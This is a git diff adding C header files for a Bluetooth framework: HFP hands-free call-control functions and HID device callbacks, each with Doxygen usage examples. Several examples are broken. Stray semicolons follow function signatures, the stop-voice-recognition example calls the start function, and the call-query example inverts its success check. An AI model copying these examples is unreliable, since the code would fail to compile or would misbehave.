BTSYMBOLS(bt_hfp_hf_is_connected)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Check HFP HF audio connection is connected. + * + * This function is used to check if HFP audio connection has been established. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return true - HF audio is connected. + * @return false - HF audio is not connected. + * + * **Example:** + * @code +void app_check_hfp_hf_audio_connected(bt_instance_t* ins, bt_address_t* addr) +{ + if(bt_hfp_hf_is_audio_connected(ins, addr)) + printf("HFP HF audio is connected\n"); + else + printf("HFP HF audio is not connected\n"); +} + * @endcode + */ +bool BTSYMBOLS(bt_hfp_hf_is_audio_connected)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Get HFP AG connection state. + * + * This function is used for the application to obtain the connection state from + * HFP AG service. Connection states includes DISCONNECTED, CONNECTING, CONNECTED, + * and DISCONNECTING. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return profile_connection_state_t - Connection state. + * + * **Example:** + * @code +void app_get_hfp_hf_connection_state(bt_instance_t* ins, bt_address_t* addr) +{ + profile_connection_state_t state; + state = bt_hfp_ag_get_connection_state(ins, addr); + switch (state) { + case PROFILE_STATE_DISCONNECTED: { + printf("HFP HF is disconnected\n"); + return; + } + case PROFILE_STATE_CONNECTING: { + printf("HFP HF is connecting\n"); + return; + } + case PROFILE_STATE_CONNECTED: { + printf("HFP HF is connected\n"); + return; + } + case PROFILE_STATE_DISCONNECTING: { + printf("HFP HF is disconnecting\n"); + return; + } + } +} + * @endcode + */ +profile_connection_state_t BTSYMBOLS(bt_hfp_hf_get_connection_state)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Establish service level connection with peer AG device + * + * This function is used to initiate an HFP connection to a specified device + * and establish the service level connection. Therefore, calling this function + * successfully implies the execution of a set of AT commands and responses + * specified by the profile, which is necessary to synchronize the state of the + * HF with that of the AG. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_init_hfp_hf_connection(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + status = bt_hfp_hf_connect(ins, addr); + if (status != BT_STATUS_SUCCESS) + printf("connect failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_connect)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Disconnect from HFP service level connection. + * + * This function is used to initiate disconnection of the service level connection + * from the specified device. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_quit_hfp_hf_connection(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + status = bt_hfp_hf_disconnect(ins, addr); + if (status != BT_STATUS_SUCCESS) + printf("disconnect failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_disconnect)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Set HF Connection policy. + * + * This function is used to set the connection policy for HFP. Applications on + * the HF side can control the HFP connection process through this method. The + * connection policy includes allowed and forbidden. When set to forbidden, the + * HF service will refuse to initiate or accept HFP connection request. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @param policy - Connection policy. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_set_hfp_hf_connection_specific_policy(bt_instance_t* ins, bt_address_t* addr) +{ + bt_status_t status; + connection_policy_t policy = CONNECTION_POLICY_FORBIDDEN; + + status = bt_hfp_hf_set_connection_policy(ins, addr, policy); + if (status != BT_STATUS_SUCCESS) + printf("set connection policy failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_set_connection_policy)(bt_instance_t* ins, bt_address_t* addr, connection_policy_t policy); + +/** + * @brief Establish audio connection with peer AG device. + * + * This function is used for applications on the HF side to initiate an audio + * connection request to a specified AG in order to establish an audio connection + * with the AG. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_init_hfp_hf_audio_connection(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + status = bt_hfp_hf_connect_audio(ins, addr); + if (status != BT_STATUS_SUCCESS) + printf("connect audio failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_connect_audio)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Disconnect audio connection. + * + * This function is used for applications on the HF side to initiate an audio + * disconnection request to the AG. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_quit_hfp_hf_audio_connection(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + status = bt_hfp_hf_disconnect_audio(ins, addr); + if (status != BT_STATUS_SUCCESS) + printf("disconnect audio failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_disconnect_audio)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Start voice recognition. + * + * Enable the voice recognition function in the AG. This function is used to send + * a Bluetooth Voice Recognition Activation command used to indicate to the AG that + * the HF is ready to render audio output. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_start_hfp_hf_voice_recognition(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + status = bt_hfp_hf_start_voice_recognition(ins, addr); + if (status != BT_STATUS_SUCCESS) + printf("start voice recognition failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_start_voice_recognition)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Stop voice recognition. + * + * Disable the voice recognition function in the AG. This function is used to send + * AT command used to indicate to the AG that the voice recognition function shall + * be disabled. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_start_hfp_hf_voice_recognition(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + status = bt_hfp_hf_start_voice_recognition(ins, addr); + if (status != BT_STATUS_SUCCESS) + printf("start voice recognition failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_stop_voice_recognition)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Dial specified phone number. + * + * This function is used to initiate dialing on the HF side and notify the AG of the + * dialing information. If the number provided by the application to the HF service + * is empty, the HF service will use the last used number for dialing. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @param number - Phone number. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_dial_specific_number(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + char number[] = "13800138000"; + + status = bt_hfp_hf_dial(ins, addr, number); + if (status != BT_STATUS_SUCCESS) + printf("dial number failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_dial)(bt_instance_t* ins, bt_address_t* addr, const char* number); + +/** + * @brief Use memory dialing. + * + * The HF may initiate outgoing voice calls using the memory dialing feature of the AG. + * The AG shall then start the call establishment procedure using the phone number stored + * in the AG memory location given by HF. This function is used for the HF side application + * to initiate a memory dialing to the AG. The application needs to provide the designated + * memory location. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @param memory - Memory location. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_dial_specific_memory_location(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + uint32_t memory = 1; + + status = bt_hfp_hf_dial_memory(ins, addr, memory); + if (status != BT_STATUS_SUCCESS) + printf("dial memory failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_dial_memory)(bt_instance_t* ins, bt_address_t* addr, uint32_t memory); + +/** + * @brief Dial last used number. + * + * The HF may initiate outgoing voice calls by recalling the last number dialed by the AG. + * The AG shall then start the call establishment procedure using the last phone number + * dialed by the AG. This function is used for the HF side application to initiate a redialing + * to the AG. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_dial_last_number(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + + status = bt_hfp_hf_redial(ins, addr); + if (status != BT_STATUS_SUCCESS) + printf("redial failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_redial)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Accept the incoming voice call. + * + * This function used to accept the incoming voice call by specified means. The acceptance method + * is specified by the flag parameter. The HF shall then send the ATA command (see Section 5) to + * the AG. The AG shall then begin the procedure for accepting the incoming call. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @param flag - Accept method flag, including HFP_HF_CALL_ACCEPT_NONE, HFP_HF_CALL_ACCEPT_RELEASE, HFP_HF_CALL_ACCEPT_HOLD. + * HFP_HF_CALL_ACCEPT_NONE represents accepting an incoming call, invalid on no incoming call. + * HFP_HF_CALL_ACCEPT_RELEASE represents releasing all active calls (if any exist) and accepts the other (held or waiting) call. + * HFP_HF_CALL_ACCEPT_HOLD represents placing all active calls (if any exist) on hold and accepts the other (held or waiting) call. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_accept_call(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + hfp_call_accept_t flag = HFP_HF_CALL_ACCEPT_NONE; + + status = bt_hfp_hf_accept_call(ins, addr, flag); + if (status != BT_STATUS_SUCCESS) + printf("accept call failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_accept_call)(bt_instance_t* ins, bt_address_t* addr, hfp_call_accept_t flag); + +/** + * @brief Reject voice call. + * + * This funcation used to reject an incoming call if any exist, otherwise then releases + * all held calls or a waiting call. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_reject_call(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + + status = bt_hfp_hf_reject_call(ins, addr); + if (status != BT_STATUS_SUCCESS) + printf("reject call failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_reject_call)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Hold voice call + * + * This function is used to hold an active call in a three-way calling scenario. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_hold_call(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + + status = bt_hfp_hf_hold_call(ins, addr); + if (status != BT_STATUS_SUCCESS) + printf("hold call failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_hold_call)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Terminate voice call + * + * This function is used to release all calls if any active, dialing or alerting + * voice call exist, otherwise then releases all held calls. if don't want release + * all calls, use bt_hfp_hf_control_call instead please. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_release_all_call(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + + status = bt_hfp_hf_terminate_call(ins, addr); + if (status != BT_STATUS_SUCCESS) + printf("terminate call failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_terminate_call)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Enhanced call control + * + * The Enhanced Call Control mechanism used to release, hold calls or add the call to the + * conversation. This function provides 5 call control methods, and the application can + * specify one of them to control the call through this function. The call control methods + * are specified by the chld parameter. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @param chld - Call control methods. + * HFP_HF_CALL_CONTROL_CHLD_0 represents releasing all held calls or sets User Determined User Busy (UDUB) for a waiting call. + * HFP_HF_CALL_CONTROL_CHLD_1 represents releasing all active calls (if any exist) and accepts the other (held or waiting) call. + * HFP_HF_CALL_CONTROL_CHLD_2 represents placing all active calls (if any exist) on hold and accepts the other (held or waiting) call. + * HFP_HF_CALL_CONTROL_CHLD_3 represents adding a held call to the conversation. + * HFP_HF_CALL_CONTROL_CHLD_4 represents connecting the two calls and disconnects the subscriber from both calls (Explicit Call Transfer). + * Support for this value and its associated functionality is optional for the HF. + * @param index - Call index, it does not work. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_enhanced_call_control(bt_instance_t* ins, bt_address_t* addr, hfp_call_control_t chld, uint8_t index); +{ + bt_status_t status; + + status = bt_hfp_hf_control_call(ins, addr, chld, index); + if (status != BT_STATUS_SUCCESS) + printf("control call failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_control_call)(bt_instance_t* ins, bt_address_t* addr, hfp_call_control_t chld, uint8_t index); + +/** + * @brief Query current calls + * + * This function is used to query the current call information for application. The + * query result will be returned through the 'calls' parameter. The returned result + * should be a two-dimensional array, and the relevant information entries in the + * first dimension can be viewed in the definition of 'hfp_current_call_t'. Additionally, + * the application using this function also needs to provide an allocator. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @param[out] calls - Out calls infomation array. + * @param[out] num - Out calls array size. + * @param allocator - Array allocator. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_query_current_calls(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + hfp_current_call_t* calls; + int num; + + status = bt_hfp_hf_query_current_calls(ins, addr, &calls, &num, NULL); + if (status == BT_STATUS_SUCCESS) { + printf("query current calls failed\n"); + return status; + } + + if (num) { + hfp_current_call_t* call = calls; + for (int i = 0; i < num; i++) { + printf("\tidx[%d], dir:%d, state:%d, number:%s, name:%s", + (int)call->index, call->dir, call->state, call->number, call->name); + call++; + } + } + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_query_current_calls)(bt_instance_t* ins, bt_address_t* addr, hfp_current_call_t** calls, int* num, bt_allocator_t allocator); + +/** + * @brief Send an AT Command to AG device. + * + * This function is used to send AT commands to the specified HF device. The + * address parameter is used to specify the AG. + * + * @param ins - The Bluetooth client instance. + * @param addr - The Bluetooth The Bluetooth address of the peer device. + * @param at_command - The AT command to be send. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_send_specific_at_command(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + char at_command[] = "AT+CIND=?"; + + status = bt_hfp_hf_send_at_command(ins, addr, at_command); + if (status != BT_STATUS_SUCCESS) + printf("send AT command failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_send_at_cmd)(bt_instance_t* ins, bt_address_t* addr, const char* cmd); + +/** + * @brief Update battery level to AG. + * + * This function is used for the application to notify the AG of the battery level + * of the HF device. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @param level - the battery level, valid from 0 to 100. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_update_battery_level(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + uint8_t level = 70; + + status = bt_hfp_hf_update_battery_level(ins, addr, level); + if (status != BT_STATUS_SUCCESS) + printf("update battery level failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_update_battery_level)(bt_instance_t* ins, bt_address_t* addr, uint8_t level); + +/** + * @brief Send volume setting to AG. + * + * This function used for the application on the HF side to inform the AG of the + * current gain settings corresponding to the HF’s speaker volume or microphone + * gain. It is necessary to specify the type of volume control and the specific + * volume level when using this function. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @param type - the type of volume, 0:gain of speaker, 1:gain of microphone. + * @param volume - the gain level, range 0-15. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_send_specific_volume_control(bt_instance_t* ins, bt_address_t* addr); +{ + bt_status_t status; + hfp_volume_type_t type = HFP_VOLUME_TYPE_SPK; + uint8_t volume = 10; + + status = bt_hfp_hf_volume_control(ins, addr, type, volume); + if (status != BT_STATUS_SUCCESS) + printf("volume control failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_volume_control)(bt_instance_t* ins, bt_address_t* addr, hfp_volume_type_t type, uint8_t volume); + +/** + * @brief Send Dual Tone Multi-Frequency (DTMF) code + * + * During an ongoing call, this function used to instruct the AG to transmit a specific + * DTMF code to its network connection. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @param dtmf - The DTMF code, one of ['0'-'9', 'A'-'D', '*', '#']. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +int app_send_dtmf(bt_instance_t* ins, bt_address_t* addr, char dtmf); +{ + bt_status_t status; + + status = bt_hfp_hf_send_dtmf(ins, addr, dtmf); + if (status != BT_STATUS_SUCCESS) + printf("send dtmf failed\n"); + + return status; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_send_dtmf)(bt_instance_t* ins, bt_address_t* addr, char dtmf); + +/** + * @brief Get Subscriber Number + * + * @param ins - bluetooth client instance. + * @param addr - address of peer AG device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_get_subscriber_number)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Query Current Calls With Callback + * + * @param ins - bluetooth client instance. + * @param addr - address of peer AG device. + */ +bt_status_t BTSYMBOLS(bt_hfp_hf_query_current_calls_with_callback)(bt_instance_t* ins, bt_address_t* addr); + +#ifdef __cplusplus +} +#endif + +#endif /* __BT_HFP_HF_H__ */ diff --git a/framework/include/bt_hid_device.h b/framework/include/bt_hid_device.h new file mode 100644 index 0000000000000000000000000000000000000000..c372a67d27034c2323316ce0a9e8716474ab7da1 --- /dev/null +++ b/framework/include/bt_hid_device.h @@ -0,0 +1,466 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_HID_DEVICE_H__ +#define __BT_HID_DEVICE_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include <stddef.h> + +#include "bt_addr.h" +#include "bt_device.h" + +#ifndef BTSYMBOLS +#define BTSYMBOLS(s) s +#endif + +/* * Descriptor types in the SDP record */ +#define HID_SDP_DESCRIPTOR_REPORT (0x22) +#define HID_SDP_DESCRIPTOR_PHYSICAL (0x23) + +/* * HID supported features - bit mask */ +#define HID_ATTR_MASK_VIRTUAL_CABLE 0x0001 +#define HID_ATTR_MASK_RECONNECT_INITIATE 0x0002 +#define HID_ATTR_MASK_BOOT_DEVICE 0x0004 +#define HID_ATTR_MASK_BATTERY_POWER 0x0010 +#define HID_ATTR_MASK_REMOTE_WAKE 0x0020 +#define HID_ATTR_MASK_SUPERVISION_TIMEOUT 0x0080 +#define HID_ATTR_MASK_NORMALLY_CONNECTABLE 0x0100 +#define HID_ATTR_MASK_SSR_MAX_LATENCY 0x0200 +#define HID_ATTR_MASK_SSR_MIN_TIMEOUT 0x0400 +#define HID_ATTR_MASK_BREDR 0x8000 + +/** + * @cond + */ + +/** + * @brief HID descriptor information + * + */ +typedef struct { + uint32_t attr_mask; /* BTHID_ATTR_MASK_VIRTUAL_CABLE etc. */ + uint8_t sub_class; + uint8_t country_code; + uint16_t vendor_id; + uint16_t product_id; + uint16_t version; + uint16_t supervision_timeout; + uint16_t ssr_max_latency; + uint16_t ssr_min_timeout; + uint16_t dsc_list_length; /* Length of desc_list */ + uint8_t pad[4]; + uint8_t* dsc_list; /* List of descriptors. Each descriptor is constructed as: Type(1 Byte), Length(2 Bytes, Little Endian), Values(Length Bytes) */ +} hid_info_t; + +/** + * @brief HID device settings for SDP server + * + */ +typedef struct { + const char* name; + const char* description; + const char* provider; + hid_info_t hids_info; +} hid_device_sdp_settings_t; + +/** + * @brief HID report type + * + */ +typedef enum { + HID_REPORT_RESRV, /* reserved */ + HID_REPORT_INPUT, /* input report */ + HID_REPORT_OUTPUT, /* output report */ + HID_REPORT_FEATURE, /* feature report */ +} hid_report_type_t; + +/** + * @brief HID status code + * + */ +typedef enum { + HID_STATUS_OK = 0, + HID_STATUS_HANDSHAKE_NOT_READY, + HID_STATUS_HANDSHAKE_INVALID_REPORT_ID, + HID_STATUS_HANDSHAKE_UNSUPPORTED_REQ, + HID_STATUS_HANDSHAKE_INVALID_PARAM, + HID_STATUS_HANDSHAKE_UNSPECIFIED_ERROR, + HID_STATUS_UNSPECIFIED_ERROR, + HID_ERROR_SDP, + HID_ERROR_SET_PROTOCOL, + HID_ERROR_DATABASE_FULL, + HID_ERROR_DEVICE_TYPE_UNSUPPORTED, + HID_ERROR_NO_RESOURCES, + HID_ERROR_AUTHENTICATION_FAILED, + HID_ERROR_OPERATION_NOT_ALLOWED, +} hid_status_error_t; + +/** + * @brief HID app state + * + */ +typedef enum { + HID_APP_STATE_NOT_REGISTERED, + HID_APP_STATE_REGISTERED, +} hid_app_state_t; +/** + * @endcond + */ + + +/** + * @brief HID device application state callback. + * + * Callback function invoked when the HID application state changes. This callback + * is used to notify the HID device about the state transition in interaction + * with the remote HID host. + * + * @param cookie - `remote_callback_t*`. + * See `bt_hid_device_register_callbacks`. + * @param state - New HID application state, see @ref hid_app_state_t. + * + * **Example:** + * @code + * void hidd_app_state_callback(void* cookie, hid_app_state_t state) + * { + * // Handle HID application state change + * } + * @endcode + */ +typedef void (*hidd_app_state_callback)(void* cookie, hid_app_state_t state); + +/** + * @brief HID device connection state callback. + * + * Callback function invoked when the HID connection state changes. This callback + * is used to notify the HID device about connection state changes with the remote + * HID host. + * + * @param cookie - `remote_callback_t*`. + * See `bt_hid_device_register_callbacks`. + * @param addr - Address of the peer device, see @ref bt_address_t. + * @param le_hid - TRUE if the connection is over LE; FALSE if over BR/EDR. + * @param state - New HID connection state, see @ref profile_connection_state_t. + * + * **Example:** + * @code + * void hidd_connection_state_callback(void* cookie, bt_address_t* addr, bool le_hid, profile_connection_state_t state) + * { + * // Handle HID connection state change + * } + * @endcode + */ +typedef void (*hidd_connection_state_callback)(void* cookie, bt_address_t* addr, bool le_hid, + profile_connection_state_t state); + +/** + * @brief Callback for getting a specified report from the remote HID host. + * + * Callback function invoked when a GET_REPORT request is received from the remote HID host. + * + * @param cookie - `remote_callback_t*`. + * See `bt_hid_device_register_callbacks`. + * @param addr - Address of the peer device, see @ref bt_address_t. + * @param rpt_type - Report type, see @ref hid_report_type_t. + * @param rpt_id - Report ID. + * @param buffer_size - Maximum size of the report data to return. + * + * **Example:** + * @code + * void hidd_get_report_callback(void* cookie, bt_address_t* addr, uint8_t rpt_type, + * uint8_t rpt_id, uint16_t buffer_size) + * { + * // Provide the requested report to the remote HID host + * } + * @endcode + */ +typedef void (*hidd_get_report_callback)(void* cookie, bt_address_t* addr, uint8_t rpt_type, + uint8_t rpt_id, uint16_t buffer_size); + +/** + * @brief Callback for setting a specified report from the remote HID host. + * + * Callback function invoked when a SET_REPORT request is received from the remote HID host. + * + * @param cookie - `remote_callback_t*`. + * See `bt_hid_device_register_callbacks`. + * @param addr - Address of the peer device, see @ref bt_address_t. + * @param rpt_type - Report type, see @ref hid_report_type_t. + * @param rpt_size - Size of the report data. + * @param rpt_data - Pointer to the report data. + * + * **Example:** + * @code + * void hidd_set_report_callback(void* cookie, bt_address_t* addr, uint8_t rpt_type, + * uint16_t rpt_size, uint8_t* rpt_data) + * { + * // Process the report data received from the remote HID host + * } + * @endcode + */ +typedef void (*hidd_set_report_callback)(void* cookie, bt_address_t* addr, uint8_t rpt_type, + uint16_t rpt_size, uint8_t* rpt_data); + +/** + * @brief Callback for receiving reports from the remote HID host. + * + * Callback function invoked when an INPUT report is received from the remote HID host. + * + * @param cookie - `remote_callback_t*`. + * See `bt_hid_device_register_callbacks`. + * @param addr - Address of the peer device, see @ref bt_address_t. + * @param rpt_type - Report type, see @ref hid_report_type_t. + * @param rpt_size - Size of the report data. + * @param rpt_data - Pointer to the report data. + * + * **Example:** + * @code + * void hidd_receive_report_callback(void* cookie, bt_address_t* addr, uint8_t rpt_type, + * uint16_t rpt_size, uint8_t* rpt_data) + * { + * // Handle the report data received from the remote HID host + * } + * @endcode + */ +typedef void (*hidd_receive_report_callback)(void* cookie, bt_address_t* addr, uint8_t rpt_type, + uint16_t rpt_size, uint8_t* rpt_data); + +/** + * @brief HID device virtual cable unplug callback. + * + * Callback function invoked when a virtual cable unplug request is received from the remote HID host. + * + * @param cookie - `remote_callback_t*`. + * See `bt_hid_device_register_callbacks`. + * @param addr - Address of the peer device, see @ref bt_address_t. + * + * **Example:** + * @code + * void hidd_virtual_unplug_callback(void* cookie, bt_address_t* addr) + * { + * // Handle virtual cable unplug event initiated by the remote HID host + * } + * @endcode + */ +typedef void (*hidd_virtual_unplug_callback)(void* cookie, bt_address_t* addr); + +/** + * @cond + */ + +/** + * @brief HID device event callbacks structure + * + */ +typedef struct { + size_t size; + hidd_app_state_callback app_state_cb; + hidd_connection_state_callback connection_state_cb; + hidd_get_report_callback get_report_cb; + hidd_set_report_callback set_report_cb; + hidd_receive_report_callback receive_report_cb; + hidd_virtual_unplug_callback virtual_unplug_cb; +} hid_device_callbacks_t; +/** + * @endcond + */ + +/** + * @brief Register callback functions with the HID device service. + * + * Registers application callbacks to receive HID device events. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param callbacks - Pointer to the HID device callbacks structure, see @ref hid_device_callbacks_t. + * @return void* - Callback cookie to be used in future calls; NULL on failure. + * + * **Example:** + * @code +void* cookie = bt_hid_device_register_callbacks(ins, &my_hid_device_callbacks); +if (cookie == NULL) { + // Handle error +} + * @endcode + */ +void* BTSYMBOLS(bt_hid_device_register_callbacks)(bt_instance_t* ins, const hid_device_callbacks_t* callbacks); + +/** + * @brief Unregister HID device callback functions. + * + * Unregisters the application callbacks from the HID device service. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param cookie - Callback cookie obtained from registration. + * @return true - Unregistration successful. + * @return false - Callback cookie not found or unregistration failed. + * + * **Example:** + * @code +if (bt_hid_device_unregister_callbacks(ins, cookie)) { + // Unregistered successfully +} else { + // Handle error +} + * @endcode + */ +bool BTSYMBOLS(bt_hid_device_unregister_callbacks)(bt_instance_t* ins, void* cookie); + +/** + * @brief Register the HID application. + * + * Registers the HID device application. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param sdp_setting - Pointer to the HID device SDP settings, see @ref hid_device_sdp_settings_t. + * @param le_hid - TRUE to register as an LE HID device; FALSE for BR/EDR. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +hid_device_sdp_settings_t sdp_settings = { + .name = "My HID Device", + .description = "Example HID Device", + .provider = "My Company", + // Initialize hids_info... +}; +if (bt_hid_device_register_app(ins, &sdp_settings, false) == BT_STATUS_SUCCESS) { + // HID application registered +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hid_device_register_app)(bt_instance_t* ins, hid_device_sdp_settings_t* sdp_setting, bool le_hid); + +/** + * @brief Unregister the HID application. + * + * Unregisters the HID device application. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +if (bt_hid_device_unregister_app(ins) == BT_STATUS_SUCCESS) { + // HID application unregistered +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hid_device_unregister_app)(bt_instance_t* ins); + +/** + * @brief Connect to a HID host. + * + * Initiates a connection to a HID host device. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the peer device, see @ref bt_address_t. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +if (bt_hid_device_connect(ins, &host_addr) == BT_STATUS_SUCCESS) { + // Connection initiated +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hid_device_connect)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Disconnect from a HID host. + * + * Terminates the connection with a HID host device. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the peer device, see 